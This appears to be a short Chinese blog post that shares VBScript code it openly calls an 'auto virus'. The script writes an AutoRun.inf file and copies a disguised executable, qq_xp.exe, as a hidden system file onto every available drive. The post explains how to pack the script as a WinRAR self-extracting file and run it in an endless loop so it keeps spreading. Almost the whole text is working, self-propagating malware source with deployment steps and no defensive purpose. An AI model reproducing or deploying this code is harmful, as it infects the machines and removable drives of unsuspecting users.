在文件中添加如下代码,并将程序段在死循环中调用。就是一个auto 病毒了
需要注意的是 需要配合 winrar 的自解压功能支持,当然也可以用其他加壳程序完成
安装第二启动方式(病毒行为)
将此vbs文件更名为 stop_qq.vbs,然后通过winrar压缩成自解压执行stop_qq.vbs的压缩文件--qq_xp.exe,此段代码才生效
Sub create_boot2
path0=fs.GetFile(WScript.scriptFullName).ParentFolder & "\qq_xp.exe"
if fs.FileExists(path0) then
Set file1=fs.CreateTextFile("AutoRun.inf",true)
file1.WriteLine("[AutoRun]")
file1.WriteLine("open=qq_xp.exe")
file1.WriteLine("shell\open=打开( & O)")
file1.WriteLine("shell\open\Command=qq_xp.exe")
file1.WriteLine("shell\open\Default=1")
file1.WriteLine("shell\explore=资源管理器( & X)")
file1.WriteLine("shell\explore\Command=qq_xp.exe")
file1.Close
Set d1=CreateObject("scripting.dictionary")
d1.RemoveAll
For Each dr_x In fs.Drives
If dr_x.IsReady And _
dr_x & "\" <> pathx And _
dr_x.DriveLetter <>"A" And _
dr_x.DriveLetter <>"B" Then
If dr_x.FreeSpace/(1024^2) > 1 Then d1.Add dr_x,dr_x
End if
Next
For Each dr_x In d1.Items
'MsgBox pathx & "--->" & dr_x
If fs.FileExists(dr_x & "\qq_xp.exe") = False Then
fs.CopyFile path0 , dr_x & "\qq_xp.exe",True
Set file1=fs.GetFile(dr_x & "\qq_xp.exe")
file1.Attributes=2+4
End if
If fs.FileExists(dr_x & "\AutoRun.inf") = False And _
fs.FolderExists(dr_x & "\AutoRun.inf") = False Then
fs.CopyFile PATHX & "\AutoRun.inf" , dr_x & "\AutoRun.inf",True
Set file1=fs.GetFile(dr_x & "\AutoRun.inf")
file1.Attributes=2+4
end if
Next
End if
End Sub
目前有0条回应
Comment
Trackback